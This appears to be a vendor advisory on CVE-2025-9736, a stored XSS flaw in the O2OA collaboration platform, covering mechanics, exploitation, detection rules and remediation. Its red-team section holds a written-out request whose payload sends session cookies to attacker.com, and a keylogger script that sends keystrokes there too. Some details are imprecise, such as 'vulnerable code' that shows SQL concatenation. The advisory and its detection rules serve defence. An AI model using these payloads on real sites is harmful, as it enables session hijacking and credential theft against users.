CVE-2025-9736
Executive Summary
CVE-2025-9736 is a stored Cross-Site Scripting (XSS) vulnerability in O2OA, an open-source enterprise collaboration platform. The flaw resides in the /x_query_assemble_designer/jaxrs/statement endpoint, specifically within the Personal Profile Page component. An authenticated attacker can inject malicious scripts via the description or queryName parameters, which are then stored and executed in the browsers of other users viewing the affected profile. The vulnerability has a CVSS score of 3.5 (Low), but the public availability of a proof-of-concept (PoC) exploit increases the immediate risk. The vendor has acknowledged the issue and stated it will be fixed in a future release, but no patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
O2OA is a Java-based application distributed as a WAR file or through Docker images. The vulnerability does not directly affect the software supply chain (e.g., NPM, PyPI, Go, Ruby packages), but organizations using O2OA should verify the integrity of their deployment and monitor for updates from the official repository.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is launched remotely over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required; the vulnerable endpoint is accessible.
- Privileges Required (PR): Low (L) – The attacker must be authenticated with a valid user account.
- User Interaction (UI): Required (R) – The victim must view the attacker’s profile page.
- Scope (S): Unchanged (U) – The vulnerability does not affect other components.
- Confidentiality (C): None (N) – No direct data exposure.
- Integrity (I): Low (L) – The attacker can modify content displayed to the victim.
- Availability (A): None (N) – No impact on system availability.
Threat Level: Low (CVSS 3.5). However, the public PoC and lack of patch elevate the operational risk for unpatched deployments.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS. The O2OA application fails to sanitize user-supplied input in the description and queryName fields of the Personal Profile Page. When a user updates their profile, the input is stored in the backend database without proper encoding. When another user views the profile, the malicious script is rendered in the browser, executing in the context of the victim’s session.
Root Cause: Lack of output encoding and input validation on the server side. The application likely uses a framework that does not automatically escape HTML in these specific fields.
Attack Flow:
- Attacker logs into O2OA.
- Attacker navigates to their profile page and modifies the
descriptionorqueryNamefield to include a JavaScript payload (e.g.,<script>alert('XSS')</script>). - The payload is stored in the database.
- Victim views the attacker’s profile page.
- The payload executes in the victim’s browser, potentially stealing cookies, session tokens, or performing actions on behalf of the victim.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// Vulnerable: Directly stores user input without sanitization
public void updateProfile(String description, String queryName) {
String query = "UPDATE profile SET description = '" + description + "', queryName = '" + queryName + "' WHERE user_id = ?";
jdbcTemplate.update(query);
}
Patched Code (Conceptual):
// Patched: Uses parameterized queries and output encoding
public void updateProfile(String description, String queryName) {
String query = "UPDATE profile SET description = ?, queryName = ? WHERE user_id = ?";
jdbcTemplate.update(query, sanitizeHtml(description), sanitizeHtml(queryName), userId);
}
private String sanitizeHtml(String input) {
return HtmlUtils.htmlEscape(input); // or use a library like OWASP Java Encoder
}
Key Differences:
- The patched version uses parameterized queries to prevent SQL injection (though not the primary issue here).
- The patched version applies HTML encoding to user input before storage, preventing script execution.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A valid O2OA user account.
- Network access to the O2OA server.
Exploit Steps:
- Log in to O2OA.
- Send a POST request to
/x_query_assemble_designer/jaxrs/statementwith the following payload (adjust based on actual API structure):POST /x_query_assemble_designer/jaxrs/statement HTTP/1.1 Host: target-o2oa.com Content-Type: application/json Cookie: JSESSIONID=valid_session { "description": "<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>", "queryName": "test" } - The payload is stored.
- Share the attacker’s profile link with the victim.
- When the victim views the profile, the script executes, exfiltrating their session cookie.
Alternative Payload (Keylogger):
<script>
document.addEventListener('keydown', function(e) {
fetch('https://attacker.com/keylog?key=' + e.key);
});
</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor logs for unusual POST requests to
/x_query_assemble_designer/jaxrs/statementcontaining HTML tags or JavaScript. - Use a Web Application Firewall (WAF) to block requests with
<script>tags in thedescriptionorqueryNameparameters. - Implement Content Security Policy (CSP) headers to restrict script execution.
Hardening:
- Apply input validation and output encoding on the server side.
- Use a security library like OWASP Java Encoder.
- Restrict user permissions to minimize the impact of XSS.
- Enable HTTPOnly and Secure flags on session cookies.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/x_query_assemble_designer/jaxrs/statementwith suspicious payloads. - Outbound connections to attacker-controlled domains (e.g.,
attacker.com) from the O2OA server.
- POST requests to
- File IOCs:
- Log entries containing
<script>tags in thedescriptionorqueryNamefields.
- Log entries containing
- Behavioral IOCs:
- Unauthorized changes to user profiles.
- Unexpected JavaScript execution in the browser.
Detection Engineering
YARA Rule
rule CVE_2025_9736_XSS_Payload {
meta:
description = "Detects XSS payloads targeting CVE-2025-9736 in O2OA"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-9736"
strings:
$xss1 = "<script" nocase
$xss2 = "onerror=" nocase
$xss3 = "onload=" nocase
$xss4 = "javascript:" nocase
condition:
any of ($xss*) and filesize < 10KB
}
Sigma Rule
title: O2OA Stored XSS via Profile Description
id: 8f7b3c2a-1e5d-4a9f-8c6b-7d2e3f1a0b4c
status: experimental
description: Detects stored XSS attempts against CVE-2025-9736 in O2OA
author: Valters IT
logsource:
category: webserver
product: apache
service: accesslog
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/x_query_assemble_designer/jaxrs/statement'
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in profile fields (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-9736 O2OA Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/x_query_assemble_designer/jaxrs/statement"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable endpoint if not required, using a reverse proxy or WAF rule.
- Apply input validation on the server side to reject HTML tags in
descriptionandqueryName. - Implement Content Security Policy (CSP) headers to block inline scripts.
- Monitor logs for exploitation attempts.
Long-Term Fix:
- Upgrade to the patched version once released by the vendor.
- Conduct a security audit of the O2OA codebase for similar vulnerabilities.
- Train developers on secure coding practices, especially output encoding.
Workaround:
- Use a WAF to filter malicious payloads (e.g., ModSecurity rule:
SecRule ARGS "@contains <script" "id:1000001,deny,msg:'XSS Attempt'").
Valters IT
Securing Digital Frontiers